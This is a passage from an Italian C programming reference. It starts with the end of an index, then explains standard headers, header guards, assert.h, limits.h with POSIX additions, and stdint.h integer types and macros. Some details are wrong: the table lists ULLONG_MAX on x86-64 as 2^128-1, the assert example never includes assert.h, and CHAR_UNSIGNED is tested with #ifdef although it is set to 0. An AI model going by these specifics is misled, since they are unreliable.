4772 PRIXMAX 4772 PRIxPTR 4772 PRIXPTR 4772 PTRDIFF_MAX 4732 PTRDIFF_MIN 4732 ptrdiff_t 4732 4779 putc() 4850 putchar() 4850 putchar_unlocked() 4854 putc_unlocked() 4854 puts() 4851 P_tmpdir 4833 qsort() 4763 raise() 4820 rand() 4759 RAND_MAX 4755 realloc() 4762 remove() 4835 rename() 4835 rewind() 4853 scanf() 4849 SCHAR_MAX 4723 SCHAR_MIN 4723 SCNd16 4772 SCNd32 4772 SCNd64 4772 SCNd8 4772 SCNdFAST16 4772 SCNdFAST32 4772 SCNdFAST64 4772 SCNdFAST8 4772 SCNdLEAST16 4772 SCNdLEAST32 4772 SCNdLEAST64 4772 SCNdLEAST8 4772 SCNdMAX 4772 SCNdPTR 4772 SCNi16 4772

SCNi32 4772 SCNi64 4772 SCNi8 4772 SCNiFAST16 4772 SCNiFAST32 4772 SCNiFAST64 4772 SCNiFAST8 4772 SCNiLEAST16 4772 SCNiLEAST32 4772 SCNiLEAST64 4772 SCNiLEAST8 4772 SCNiMAX 4772 SCNiPTR 4772 SCNo16 4772 SCNo32 4772 SCNo64 4772 SCNo8 4772 SCNoFAST16 4772 SCNoFAST32 4772 SCNoFAST64 4772 SCNoFAST8 4772 SCNoLEAST16 4772 SCNoLEAST32 4772 SCNoLEAST64 4772 SCNoLEAST8 4772 SCNoMAX 4772 SCNoPTR 4772 SCNu16 4772 SCNu32 4772 SCNu64 4772 SCNu8 4772 SCNuFAST16 4772 SCNuFAST32 4772 SCNuFAST64 4772 SCNuFAST8 4772 SCNuLEAST16 4772 SCNuLEAST32 4772 SCNuLEAST64 4772 SCNuLEAST8 4772 SCNuMAX 4772 SCNuPTR 4772 SCNx16 4772 SCNx32 4772 SCNx64 4772 SCNx8 4772 SCNxFAST16 4772 SCNxFAST32 4772 SCNxFAST64 4772 SCNxFAST8 4772 SCNxLEAST16 4772 SCNxLEAST32 4772 SCNxLEAST64 4772 SCNxLEAST8 4772 SCNxMAX 4772 SCNxPTR 4772 SEEK_CUR 4833 SEEK_END 4833 SEEK_SET 4833 setbuf() 4839 setvbuf() 4839 SHRT_MAX 4723 SHRT_MIN 4723 SIGABRT 4816 4817 SIGALRM 4817 SIGBUS 4817 SIGCHLD 4817 SIGCONT 4817 SIGFPE 4816 4817 SIGHUP 4817 SIGILL 4816 4817 SIGINT 4816 4817 SIGKILL 4817 signal() 4820 signal.h 4814 SIGPIPE 4817 SIGPOLL 4817 SIGPROF 4817 SIGQUIT 4817 SIGSEGV 4816 4817 SIGSTOP 4817 SIGSYS 4817 SIGTERM 4816 4817 SIGTRAP 4817 SIGTTIN 4817 SIGTTOU 4817 SIGURG 4817 SIGUSR1 4817 SIGUSR2 4817 SIGVTALRM 4817 SIGXCPU 4817 SIGXFSZ 4817 SIG_ATOMIC_MAX 4732 SIG_ATOMIC_MIN 4732 sig_atomic_t 4732 4816 SIG_DFL 4819 SIG_ERR 4819 SIG_IGN 4819 SIZE_MAX 4732 size_t 4732 4779 snprintf() 4844 sprintf() 4844 srand() 4759 sscanf() 4849 SSIZE_MAX 4725 stdarg.h 4752 stdbool.h 4779 stddef.h 4779 stderr 4835 stdint.h 4726 stdio 4835 stdio.h 4832 stdlib.h 4754 stdout 4835 strcat() 4787 strchr() 4795 strcmp() 4790 strcoll() 4791 strcpy() 4783 strcspn() 4799 strdup() 4785 strerror() 4812 strerror_r() 4813 strftime() 4829 string.h 4780 strlen() 4814 strncat() 4788 strncmp() 4792 strncpy() 4784 strpbrk() 4800 strrchr() 4796 strspn() 4797 strstr() 4801 strtod() 4756 strtof() 4756 strtoimax() 4778 strtok() 4803 strtok_r() 4807 strtol() 4756 strtold() 4756 strtoll() 4756 strtouimax() 4778 strtoul() 4756 strtoull() 4756 struct tm 4825 strxfrm() 4793 system() 4763 tempnam() 4836 time() 4826 time.h 4823 time_t 4825 4825 tmpfile() 4836 tmpnam() 4836 TMP_MAX 4833 toascii() 4750 tolower() 4748 toupper() 4749 true 4779 UCHAR_MAX 4723 UINT16_C() 4728 UINT16_MAX 4727 uint16_t 4727 UINT32_C() 4728 UINT32_MAX 4727 uint32_t 4727 UINT64_C() 4728 UINT64_MAX 4727 uint64_t 4727 UINT8_C() 4728 UINT8_MAX 4727 uint8_t 4727 UINTMAX_C() 4731 UINTMAX_MAX 4731 uintmax_t 4731 UINTPTR_MAX 4730 uintptr_t 4730 UINT_FAST16_MAX 4729 uint_fast16_t 4729 UINT_FAST32_MAX 4729 uint_fast32_t 4729 UINT_FAST64_MAX 4729 uint_fast64_t 4729 UINT_FAST8_MAX 4729 uint_fast8_t 4729 UINT_LEAST16_MAX 4728 uint_least16_t 4728 UINT_LEAST32_MAX 4728 uint_least32_t 4728 UINT_LEAST64_MAX 4728 uint_least64_t 4728 UINT_LEAST8_MAX 4728 uint_least8_t 4728 UINT_MAX 4723 ULLONG_MAX 4723 ULONG_MAX 4723 ungetc() 4850 USHRT_MAX 4723 va_arg() 4752 va_copy() 4752 va_end() 4752 va_list 4752 va_start() 4752 vfprintf() 4845 vfscanf() 4849 vprintf() 4845 vscanf() 4849 vsnprintf() 4845 vsprintf() 4845 vsscanf() 4849 WCHAR_MAX 4732 WCHAR_MIN 4732 wchar_t 4732 4779 wcstoimax() 4778 wcstombs() 4769 wcstouimax() 4778 wctomb() 4768 WINT_MAX 4732 WINT_MIN 4732 wint_t 4732 WORD_BIT 4725 xor 4778 xor_eq 4778 _Exit() 4762 _IOFBF 4833 _IOLBF 4833 _IONBF 4833

POSIX2... 4725 _POSIX_... 4725 _XOPEN_... 4725 __bool_true_false_are_defined 4779 __udivdi3() 4722 __umoddi3() 4722 %+... 4840 %...c 4840 %...d 4840 %...e 4840 %...f 4840 %...g 4840 %...hd 4840 %...hhd 4840 %...hhi 4840 %...hhn 4840 %...hho 4840 %...hhu 4840 %...hhx 4840 %...hi 4840 %...hn 4840 %...ho 4840 %...hu 4840 %...hx 4840 %...i 4840 %...lc 4840 %...ld 4840 %...Le 4840 %...Lf 4840 %...Lg 4840 %...li 4840 %...lld 4840 %...lli 4840 %...lln 4840 %...llo 4840 %...llu 4840 %...llx 4840 %...ln 4840 %...lo 4840 %...ls 4840 %...lu 4840 %...lx 4840 %...n 4840 %...o 4840 %...s 4840 %...u 4840 %...x 4840 %0... 4840 %-... 4840

Complessivamente, la libreria C è ciò che consente l'uso di funzioni, macro-istruzioni e macro-variabili definite dallo standard (ed eventualmente dalle estensioni presenti nel proprio contesto). Generalmente le funzioni vengono fornite già compilate all'interno di una libreria dinamica o statica (per esempio possono essere i file '`/lib/libc.so`' o '`/usr/lib/libc.a`'), ma dal punto di vista formale, la libreria standard è costituita dai file di intestazione.

> Per la precisione, lo standard stabilisce che si debba fare riferimento a delle «intestazioni» nel sorgente di un programma scritto in linguaggio C, ma il contesto particolare può essere tale per cui queste potrebbero non esistere fisicamente come ci si attenderebbe da un sistema operativo tradizionale. Anche per questo, nella documentazione standard ci si riferisce solo a intestazioni, senza precisare che debba trattarsi di file.

In pratica, i file di intestazione, o ciò che ne fa la funzione, sono sempre necessari e al loro interno si dichiarano le macro-variabili, le macro-istruzioni e almeno i prototipi delle funzioni, se queste sono già precompilate in un file separato. A ogni modo, di norma il compilatore è predisposto per utilizzare automaticamente i file precompilati necessari.

Nei capitoli successivi vengono descritti alcuni dei file di intestazione previsti dallo standard del linguaggio, mostrando come potrebbero essere realizzati e, in alcuni casi, anche fornendo una soluzione completa per le funzioni (gli esempi dovrebbero essere disponibili a partire da ⟨*allegati/c/*⟩).

> La libreria C viene estesa dallo standard POSIX con componenti aggiuntivi. In alcuni casi, nei capitoli successivi, si fa riferimento anche a estensioni POSIX, con le annotazioni appropriate al riguardo. Va però osservato che per scrivere un programma in linguaggio C, che abbia la massima portabilità fra sistemi operativi molto differenti tra loro, occorre evitare il più possibile le estensioni di qualunque genere.

Ciò che non si vede negli esempi dei capitoli successivi è la tecnica comune che si usa per evitare di includere ricorsivamente lo stesso file di intestazione più volte: si associa a ogni file una macro-variabile e se all'inizio della lettura questa non risulta dichiarata, il contenuto viene acquisito, altrimenti viene ignorato semplicemente, perché deve essere già stato incluso in precedenza. L'esempio seguente riguarda il file '`limits.h`':

```
#ifndef _LIMITS_H
#define _LIMITS_H       1
    ...
    contenuto_del_file
    ...
#endif // _LIMITS_H
```

In pratica viene verificato se la macro-variabile ***_LIMITS_H*** è già stata definita; se lo è, il contenuto del file viene ignorato. Se invece la macro-variabile non è stata dichiarata, questa allora viene dichiarata e quindi si procede con il lavoro normale del file.

Tabella 80.2. File di intestazione standard.

Intestazione	Descrizione	Riferimenti
`assert.h`	Verifica diagnostica di un'espressione (asserzione).	sezione 80.2
`complex.h`	Aritmetica complessa.	--
`ctype.h`	Classificazione dei caratteri.	sezione 80.7
`errno.h`	Definizione degli errori.	sezione 80.5
`fenv.h`	Gestione di valori in virgola mobile.	--
`float.h`	Limiti dei valori in virgola mobile.	--
`inttypes.h`	Estensione di '`stdint.h`'.	sezione 80.10
`iso646.h`	Macro-variabili da usare in sostituzione di vari operatori.	sezione 80.11
`limits.h`	Limiti per i numeri interi.	sezione 80.3
`locale.h`	Gestione della configurazione locale (nel senso di «localizzazione»).	sezione 80.6
`math.h`	Funzioni matematiche comuni.	--
`setjmp.h`	Funzionalità per il salto incondizionato.	--
`signal.h`	Gestione dei segnali.	sezione 80.15
`stdarg.h`	Gestione degli argomenti variabili.	sezione 80.8
`stdbool.h`	Tipo e valori booleani.	sezione 80.12
`stddef.h`	Definizioni comuni; in particolare i tipi '**`size_t`**', '**`wchar_t`**' e il puntatore nullo '**`NULL`**'.	sezione 80.13
`stdint.h`	Definizioni di interi con un rango prestabilito, assieme ai valori minimi e massimi.	sezione 80.4
`stdio.h`	Gestione di input e output dei dati.	sezione 80.17
`stdlib.h`	Funzioni, macro e tipi di utilità generale.	sezione 80.9
`string.h`	Gestione delle stringhe.	sezione 80.14
`tgmath.h`	Macro-istruzioni matematiche, indipendenti dal tipo.	--
`time.h`	Gestione di date e orari.	sezione 80.16
`wchar.h`	Gestione facilitata di caratteri estesi.	--

Intestazione	Descrizione	Riferimenti
`wctype.h`	Classificazione dei caratteri estesi.	--

80.1 Funzionalità di libreria non dichiarate

Può succedere che il compilatore, per assolvere a funzionalità che figurano essere indipendenti da librerie, debba invece avvalersi di funzioni esterne che non sono previste dallo standard. In particolare, questo problema può verificarsi di fronte alla necessità di svolgere calcoli al di fuori della portata normale del microprocessore.

A titolo di esempio, il compilatore GNU C per la piattaforma x86-32 prevede un tipo intero '**`long long int`**' da 64 bit. Quando si vuole ottenere una divisione intera o il resto di una divisione con variabili di questo tipo, il compilatore GNU C richiama rispettivamente le funzioni ***__udivdi3()*** e ***__umoddi3()***. In generale il problema non si avverte, ma se si vuole scrivere la propria libreria C, senza tali funzioni, in pratica non è possibile usare questo tipo intero molto grande.

Si vedano eventualmente i listati della sezione 120.2, relativi a os32, in cui si realizzano queste funzioni con il solo ausilio del linguaggio C.

80.2 File «assert.h»

Il file '`assert.h`' della libreria standard definisce la macro-istruzione ***assert()***, da usare per generare informazioni diagnostiche, sulla base dell'esito della valutazione di un'espressione.

La macro-istruzione ***assert()*** viene definita in due modi alternativi, in base alla presenza o meno della macro-variabile ***NDEBUG***. Per la precisione, in presenza della macro-variabile ***NDEBUG*** la macro-istruzione ***assert()*** deve risultare inerte.

```
#include <stdio.h>
#ifdef NDEBUG
#define assert(ignore)  ((void)0)
#else
#define assert(ASSERTION)  ({if ((ASSERTION)==0)                    \
                            fprintf (stderr,                         \
                                     "Assertion failed: " # ASSERTION     \
                                     ", function %s, file %s, line %u.\n", \
                                     __func__, __FILE__, __LINE__);})
#endif
```

80.2.1 Utilizzo

La macro-istruzione ***assert()*** va usata con la sintassi seguente, dove il parametro indica un'espressione di tipo non specificato, purché di tipo scalare:

```
void assert (tipo_scalare espressione);
```

Se l'espressione si traduce in un valore *Falso*, ovvero pari a zero, la macro-istruzione emette, attraverso lo standard error, un messaggio contenente l'espressione stessa e altre indicazioni. Precisamente, oltre all'espressione deve apparire: il nome della funzione in cui ci si trova, il nome del file (sorgente) e il numero della riga.

Tuttavia, se la macro-variabile risulta definita, prima dell'inclusione del file '`assert.h`', la macro-istruzione ***assert()*** deve essere trasformata dal compilatore come un'istruzione inerte, ovvero l'equivalente di '**`((void) 0)`**'.

Segue un l'esempio di un programma completo in cui si utilizza ***assert()***:

```
#include <stdio.h>
int
main (int argc, char *argv[])
{
    assert (123==124);
    return 0;
}
```

L'espressione verificata da ***assert()*** non può essere vera, pertanto, se non è stata dichiarata la macro-variabile ***NDEBUG***, questo programma dovrebbe produrre un messaggio come quello seguente:

```
Assertion failed: 123==124, function main, file assert.c, line 5.
```

80.3 File «limits.h»

Il file '`limits.h`' della libreria standard definisce delle macro-variabili che riepilogano i limiti dei valori rappresentabili con le variabili scalari intere. Lo standard prescrive dei limiti minimi per la conformità, ma le realizzazioni comuni consentono mediamente di rappresentare valori più grandi (in senso assoluto), a parità di tipo di intero. Infatti, i limiti effettivi dipendono principalmente dalla dimensione della parola del microprocessore e dal modo in cui si rappresentano i valori negativi. Si può osservare che nelle architetture comuni, in cui i valori negativi si rappresentano con il complemento a due, il valore negativo più grande (in senso assoluto) di una variabile è pari a una unità in più rispetto al valore positivo massimo (per esempio il tipo '**`signed char`**' va solitamente da −128 a 127).

L'esempio proposto si riferisce a un'architettura a 32 bit con i valori negativi rappresentati attraverso il complemento a due.

```
#define CHAR_UNSIGNED   0

#define CHAR_BIT        8

#define SCHAR_MIN       (-0x80)
#define SCHAR_MAX         0x7F
#define UCHAR_MAX         0xFF

#ifdef CHAR_UNSIGNED
#   define CHAR_MIN     0
#   define CHAR_MAX     UCHAR_MAX
```

```
#else
#   define CHAR_MIN     SCHAR_MIN
#   define CHAR_MAX     SCHAR_MAX
#endif

#define MB_LEN_MAX      16

#define SHRT_MIN        (-0x8000)
#define SHRT_MAX          0x7FFF
#define USHRT_MAX         0xFFFF

#define INT_MIN         (-0x80000000)
#define INT_MAX           0x7FFFFFFF
#define UINT_MAX          0xFFFFFFFFU

#define LONG_MIN        (-0x80000000L)
#define LONG_MAX          0x7FFFFFFFL
#define ULONG_MAX         0xFFFFFFFFUL

#define LLONG_MIN       (-0x8000000000000000LL)
#define LLONG_MAX         0x7FFFFFFFFFFFFFFFLL
#define ULLONG_MAX        0xFFFFFFFFFFFFFFFFULL
```

Tabella 80.7. Macro-variabili standard per la rappresentazione dei limiti riferiti a variabili scalari intere.

Macro-variabile	Descrizione
`CHAR_BIT`	Rappresenta la quantità di bit utilizzata per rappresentare il tipo '**`char`**', con o senza segno. In altri termini è l'unità di memorizzazione più piccola con cui si può gestire l'insieme di caratteri minimo. Di norma si tratta di 8 bit.
`SCHAR_MIN` `SCHAR_MAX`	Rappresentano il valore minimo e il valore massimo rappresentabile in una variabile '**`signed char`**'.
`UCHAR_MAX`	Rappresenta il valore massimo rappresentabile in una variabile '**`unsigned char`**'. Il valore minimo è zero.
`CHAR_MIN` `CHAR_MAX`	Rappresentano il valore minimo e il valore massimo rappresentabile in una variabile '**`char`**'. Questi valori dipendono dal fatto che il tipo '**`char`**' sia da intendere equivalente a un tipo '**`unsigned char`**' o '**`signed char`**', da cui ereditano i limiti.
`MB_LEN_MAX`	Rappresenta la quantità massima di byte che possono essere usati per rappresentare un carattere multibyte, qualunque sia la configurazione locale.
`SHRT_MIN` `SHRT_MAX`	Rappresentano il valore minimo e il valore massimo rappresentabile in una variabile '**`short int`**'.
`USHRT_MAX`	Rappresenta il valore massimo rappresentabile in una variabile '**`unsigned short int`**'. Il valore minimo è zero.
`INT_MIN` `INT_MAX`	Rappresentano il valore minimo e il valore massimo rappresentabile in una variabile '**`int`**'.

Macro-variabile	Descrizione
`UINT_MAX`	Rappresenta il valore massimo rappresentabile in una variabile '**`unsigned int`**'. Il valore minimo è zero.
`LONG_MIN` `LONG_MAX`	Rappresentano il valore minimo e il valore massimo rappresentabile in una variabile '**`long int`**'.
`ULONG_MAX`	Rappresenta il valore massimo rappresentabile in una variabile '**`unsigned long int`**'. Il valore minimo è zero.
`LLONG_MIN` `LLONG_MAX`	Rappresentano il valore minimo e il valore massimo rappresentabile in una variabile '**`long long int`**'.
`ULLONG_MAX`	Rappresenta il valore massimo rappresentabile in una variabile '**`unsigned long long int`**'. Il valore minimo è zero.

Eventualmente si veda la realizzazione di questo file nei sorgenti di os16 (listato 106.1.8) o di os32 (listato 120.1.6).

80.3.1 Confronto tra architetture

Per avere un'idea di come potrebbero svilupparsi i valori del file '`limits.h`' tra le varie architetture, viene mostrata una tabella in cui si possono paragonare quelli minimi stabiliti dallo standard con quelli usati nei sistemi GNU/Linux con architetture x86-32 e x86-64. Per semplicità si indicano solo i valori senza segno:

Macro-variabile	Standard	GNU/Linux x86-32	GNU/Linux x86-64
`UCHAR_MAX`	$2^{8}-1$	$2^{8}-1$	$2^{8}-1$
`USHRT_MAX`	$2^{16}-1$	$2^{16}-1$	$2^{16}-1$
`UINT_MAX`	$2^{16}-1$	$2^{32}-1$	$2^{32}-1$
`ULONG_MAX`	$2^{32}-1$	$2^{32}-1$	$2^{64}-1$
`ULLONG_MAX`	$2^{64}-1$	$2^{64}-1$	$2^{128}-1$

80.3.2 Estensioni POSIX

Per lo standard POSIX, il file '`limits.h`' serve anche per annotare limiti numerici relativi al funzionamento del sistema operativo, come per esempio la quantità massima di file aperti simultaneamente per ogni processo.

POSIX

Un gruppo di macro-variabili definite nel file '`limits.h`', caratterizzate per avere il prefisso ***_POSIX_***..., ***_POSIX2_***... e ***_XOPEN_***..., definisce dei limiti minimi di compatibilità con lo standard. Per esempio, la macro-variabile ***_POSIX_LINK_MAX*** deve tradursi nel numero 8 e stabilisce che deve essere consentita la creazione di almeno otto collegamenti fisici per ogni file, in qualunque sistema POSIX.

Un secondo gruppo di macro-variabili definite nel file '`limits.h`', dichiara i limiti massimi effettivi del sistema, riconducibili ai minimi già fissati nel primo gruppo già descritto. Per esempio, la macro-variabile ***LINK_MAX*** indica il numero massimo effettivo di collegamenti fisici per file, tenendo conto che deve essere necessariamente maggiore o uguale al valore di ***_POSIX_LINK_MAX***.

Le macro-variabili del secondo gruppo sono facoltative, in quanto i limiti effettivi del sistema, per le varie voci, possono dipendere da fattori dinamici di funzionamento. In ogni caso, devono essere garantiti i valori minimi delle macro-variabili del primo gruppo.

Nell'ambito delle dichiarazioni che fanno già parte dello standard C, va osservato che lo standard POSIX richiede che il byte sia esattamente di 8 bit, pertanto la macro-variabile ***CHAR_BIT*** deve tradursi necessariamente nel numero otto. Inoltre, si aggiungono anche qui alcune macro-variabili:

```
#define WORD_BIT   32
#define LONG_BIT   32
#define SSIZE_MAX  0x7FFFFFFFL
```

Tabella 80.10. Alcune macro-variabili aggiunte dallo standard POSIX.

Macro-variabile	Descrizione
`WORD_BIT`	Rappresenta la quantità di bit utilizzata per rappresentare il tipo '**`int`**', con o senza segno. Il minimo valore accettabile è 32.
`LONG_BIT`	Rappresenta la quantità di bit utilizzata per rappresentare il tipo '**`long int`**', con o senza segno. Il minimo valore accettabile è 32.
`SSIZE_MAX`	Rappresenta il valore positivo massimo che possa esprimere una variabile di tipo '**`ssize_t`**' (un tipo come '**`size_t`**', ma con segno). Il minimo valore accettabile è quello della macro-variabile ***_POSIX_SSIZE_MAX***, ovvero $7FFF_{16}$.

80.4 File «stdint.h»

Il file '`stdint.h`' della libreria standard definisce principalmente dei tipi interi, alternativi a quelli tradizionali, riferiti in modo più diretto al rango. Assieme a questi tipi interi definisce anche delle macro-variabili che consentono di conoscere i limiti esatti di tali tipi, oltre ad altre macro-variabili con i limiti di tipi interi speciali, dichiarati in altri file (si veda eventualmente la realizzazione di questo file nei sorgenti di os16, listato 106.1.15, oppure di os32, listato 120.1.13).

Lo standard prescrive che alcuni dei tipi definiti nel file '`stdint.h`' siano opzionali, purché sia rispettato un certo ordine (per esempio, se viene definito un tipo intero con segno, deve essere prevista anche una versione di quel tipo senza segno e viceversa). A tale proposito, le macro-variabili con le quali si possono verificare i limiti, servono anche per consentire al programmatore di verificare la disponibilità o meno del tipo relativo, attraverso istruzioni del precompilatore del tipo '**`#ifdef`**'.

L'esempio proposto si riferisce a un elaboratore x86-32 ed è abbastanza conforme alla configurazione che si può trovare in un sistema GNU/Linux.

80.4.1 Tipi interi ad ampiezza esatta

Lo standard prescrive un gruppo facoltativo di tipi interi il cui rango è definito precisamente dal nome. Si tratta dei tipi '**int*n*_t**' (con segno) e '**uint*n*_t**' (senza segno), dove ***n*** esprime la quantità di bit che compone l'intero. Si tratta necessariamente di tipi facoltativi, perché non è possibile stabilire in modo sicuro che in ogni architettura siano gestibili tipi interi di una data quantità di bit; per esempio, in una certa achitettura «X» potrebbero essere gestiti tipi interi a 8, 16 e 32 bit, mentre in un'architettura «Y» i tipi disponibili effettivamente potrebbero essere a 8, 16, 24 e 32 bit.

Nei sistemi POSIX, questi tipi sono invece obbligatori, costringendo così ad avere byte esattamente di otto bit.

```
typedef signed char             int8_t;
typedef short int               int16_t;
typedef int                     int32_t;        // x86-32
typedef long long int           int64_t;        // x86-32

typedef unsigned char           uint8_t;
typedef unsigned short int      uint16_t;
typedef unsigned int            uint32_t;       // x86-32
typedef unsigned long long int  uint64_t;       // x86-32
```

Le macro-variabili usate per definire i limiti di questi valori interi hanno nomi del tipo '**INT*n*_MIN**', '**INT*n*_MAX**' e '**UINT*n*_MAX**', per indicare rispettivamente: il valore minimo dei tipi con segno; il valore massimo dei tipi con segno; il valore massimo dei tipi senza segno. Lo standard prescrive precisamente questi valori minimi e massimi, dando per scontato che i valori negativi si rappresentino con il complemento a due:

Macro-variabile	Valore standard
INT*n*_MIN	$-(2^{n-1})$
INT*n*_MAX	$2^{n-1}-1$
UINT*n*_MAX	$2^{n}-1$

```
#define INT8_MIN                (-0x80)
#define INT16_MIN               (-0x8000)
#define INT32_MIN               (-0x80000000)
#define INT64_MIN               (-0x8000000000000000LL)

#define INT8_MAX                  0x7F
#define INT16_MAX                 0x7FFF
#define INT32_MAX                 0x7FFFFFFF
#define INT64_MAX                 0x7FFFFFFFFFFFFFFFLL

#define UINT8_MAX                 0xFF
#define UINT16_MAX                0xFFFF
```

```
#define UINT32_MAX                0xFFFFFFFFU
#define UINT64_MAX                0xFFFFFFFFFFFFFFFFULL
```

80.4.2 Tipi interi di rango minimo

Un gruppo richiesto espressamente dallo standard riguarda tipi interi il cui rango sia tale da garantire la rappresentazione di almeno ***n*** bit, utilizzando comunque la quantità minima possibile di bit. In questo caso i nomi sono '**int_least*n*_t**' per i tipi con segno e '**uint_least*n*_t**' per quelli senza segno. Lo standard prescrive che siano previsti necessariamente i tipi a 8, 16, 32 e 64 bit, mentre ammette che ne siano disponibili anche altri.

```
typedef signed char             int_least8_t;
typedef short int               int_least16_t;
typedef int                     int_least32_t;  // x86-32
typedef long long int           int_least64_t;  // x86-32

typedef unsigned char           uint_least8_t;
typedef unsigned short int      uint_least16_t;
typedef unsigned int            uint_least32_t; // x86-32
typedef unsigned long long int  uint_least64_t; // x86-32
```

Le macro-variabili usate per definire i limiti di questi valori interi hanno nomi del tipo '**INT_LEAST*n*_MIN**', '**INT_LEAST*n*_MAX**' e '**UINT_LEAST*n*_MAX**', per indicare rispettivamente: il valore minimo dei tipi con segno; il valore massimo dei tipi con segno; il valore massimo dei tipi senza segno. Lo standard attribuisce questi limiti in modo indipendente dalla rappresentazione dei valori negativi, ma tali limiti possono essere estesi in senso assoluto:

Macro-variabile	Valore standard che può essere superato in termini assoluti
INT_LEAST***n***_MIN	$-(2^{n-1}-1)$
INT_LEAST***n***_MAX	$2^{n-1}-1$
UINT_LEAST***n***_MAX	$2^{n}-1$

```
#define INT_LEAST8_MIN          (-0x80)
#define INT_LEAST16_MIN         (-0x8000)
#define INT_LEAST32_MIN         (-0x80000000)
#define INT_LEAST64_MIN         (-0x8000000000000000LL)

#define INT_LEAST8_MAX            0x7F
#define INT_LEAST16_MAX           0x7FFF
#define INT_LEAST32_MAX           0x7FFFFFFF
#define INT_LEAST64_MAX           0x7FFFFFFFFFFFFFFFLL

#define UINT_LEAST8_MAX           0xFF
#define UINT_LEAST16_MAX          0xFFFF
```

```
#define UINT_LEAST32_MAX          0xFFFFFFFFU
#define UINT_LEAST64_MAX          0xFFFFFFFFFFFFFFFFULL
```

Ai tipi interi di rango minimo sono associate anche delle macro-istruzioni, il cui scopo è quello di consentire la rappresentazione corretta dei valori costanti:

```
INTn_C (valore)
```

```
UINTn_C (valore)
```

In pratica, per indicare il valore costante 1234567890, precisando che va inteso come un tipo '**uint_least64_t**', si deve scrivere: '**UINT64_C(1234567890)**'. Il valore costante in sé, può essere espresso in qualunque modo, purché sia ammissibile nel contesto comune.

```
#define INT8_C(VAL)      VAL
#define INT16_C(VAL)     VAL
#define INT32_C(VAL)     VAL              // x86-32
#define INT64_C(VAL)     VAL ## LL        // x86-32

#define UINT8_C(VAL)     VAL
#define UINT16_C(VAL)    VAL
#define UINT32_C(VAL)    VAL ## U         // x86-32
#define UINT64_C(VAL)    VAL ## ULL       // x86-32
```

È evidente che, nel caso dell'esempio mostrato, '**UINT64_C(1234567890)**' corrisponde a '**1234567890ULL**'.

80.4.3 Tipi interi «veloci»

Un altro gruppo di tipi richiesti dallo standard è quello il cui rango è tale da consentire la rappresentazione di almeno ***n*** bit, utilizzando la quantità minima di bit che garantisce tempi ottimali di elaborazione. In questo caso i nomi sono '**int_fast*n*_t**' per i tipi con segno e '**uint_fast*n*_t**' per quelli senza segno. Lo standard prescrive che siano previsti necessariamente i tipi a 8, 16, 32 e 64 bit, mentre ammette che ne siano disponibili anche altri.

```
typedef signed char              int_fast8_t;
typedef int                      int_fast16_t;    // x86-32
typedef int                      int_fast32_t;    // x86-32
typedef long long int            int_fast64_t;    // x86-32

typedef unsigned char            uint_fast8_t;
typedef unsigned int             uint_fast16_t;   // x86-32
typedef unsigned int             uint_fast32_t;   // x86-32
typedef unsigned long long int   uint_fast64_t;   // x86-32
```

Come suggerisce l'esempio, è ragionevole pensare che, dove possibile, il rango usato effettivamente sia quello del tipo intero normale.

Le macro-variabili usate per definire i limiti di questi valori interi hanno nomi del tipo '**INT_FAST*n*_MIN**', '**INT_FAST*n*_MAX**' e '**UINT_FAST*n*_MAX**', per indicare rispettivamente: il valore minimo dei tipi con segno; il valore massimo dei tipi con segno; il valore massimo dei tipi senza segno. Lo standard attribuisce questi limiti in modo indipendente dalla rappresentazione dei valori negativi, ma tali limiti possono essere estesi in senso assoluto:

Macro-variabile	Valore standard che può essere superato in termini assoluti
INT_FAST***n***_MIN	$-(2^{n-1}-1)$
INT_FAST***n***_MAX	$2^{n-1}-1$
UINT_FAST***n***_MAX	$2^{n}-1$

```
#define INT_FAST8_MIN          (-0x80)
#define INT_FAST16_MIN         (-0x80000000)
#define INT_FAST32_MIN         (-0x80000000)
#define INT_FAST64_MIN         (-0x8000000000000000LL)

#define INT_FAST8_MAX            0x7F
#define INT_FAST16_MAX           0x7FFFFFFF
#define INT_FAST32_MAX           0x7FFFFFFF
#define INT_FAST64_MAX           0x7FFFFFFFFFFFFFFFLL

#define UINT_FAST8_MAX           0xFF
#define UINT_FAST16_MAX          0xFFFFFFFFU
#define UINT_FAST32_MAX          0xFFFFFFFFU
#define UINT_FAST64_MAX          0xFFFFFFFFFFFFFFFFULL
```

80.4.4 Tipi interi per rappresentare dei puntatori

Sono previsti due tipi opzionali interi, adatti a contenere il valore di un puntatore, garantendo che la conversione da e verso '**void ***' avvenga sempre correttamente. Per la precisione si tratta di '**intptr_t**' e '**uintptr_t**', dove il primo è un intero con segno, mentre il secondo è senza segno.

```
typedef int                      intptr_t;       // x86-32
typedef unsigned int             uintptr_t;      // x86-32
```

Le macro-variabili usate per definire i limiti di questi valori interi sono ***INTPTR_MIN***, ***INTPTR_MAX*** e ***UINTPTR_MAX***, per indicare rispettivamente: il valore minimo con segno, il valore massimo con segno e il valore massimo senza segno. Lo standard attribuisce dei limiti riferiti ad architetture in grado di indirizzare al massimo con 16 bit e ovviamente vanno adattati alla realtà dell'architettura effettiva:

Macro-variabile	Valore standard che può essere superato in termini assoluti
INTPTR_MIN	$-(2^{15}-1)$
INTPTR_MAX	$2^{15}-1$
UINTPTR_MAX	$2^{16}-1$

```
#define INTPTR_MIN              (-0x80000000)
#define INTPTR_MAX                0x7FFFFFFF
#define UINTPTR_MAX               0xFFFFFFFFU
```

80.4.5 Tipi interi di rango massimo

Per poter rappresentare in modo indipendente dall'architettura degli interi di rango massimo, sono previsti due tipi specifici, richiesti espressamente dallo standard: '**`intmax_t`**' e '**`uintmax_t`**'. Le macro-variabili che definiscono i limiti sono: ***INTMAX_MIN***, ***INTMAX_MAX*** e ***UINTMAX_MAX***. Lo standard prescrive che si tratti di variabili con un rango di almeno 64 bit.

```
typedef long long int           intmax_t;       // x86-32
typedef unsigned long long int  uintmax_t;      // x86-32
```

Macro-variabile	Valore standard che può essere superato in termini assoluti
INTMAX_MIN	$-(2^{63}-1)$
INTMAX_MAX	$2^{63}-1$
UINTMAX_MAX	$2^{64}-1$

Anche ai tipi interi di rango massimo sono associate delle macro-istruzioni per facilitare la rappresentazione corretta dei valori costanti:

INTMAX_C(***valore***)

UINTMAX_C(***valore***)

In pratica, per indicare il valore costante 1234567890, precisando che va inteso come un tipo '**`uintmax_t`**', si deve scrivere: '**`UINTMAX_C(1234567890)`**'. Il valore costante in sé, può essere espresso in qualunque modo, purché sia ammissibile nel contesto comune.

```
#define INTMAX_C(VAL)   VAL ## LL       // x86-32
#define UINTMAX_C(VAL)  VAL ## ULL      // x86-32
```

A questo punto, anche la definizione dei valori minimi e massimi diventa più agevole:

```
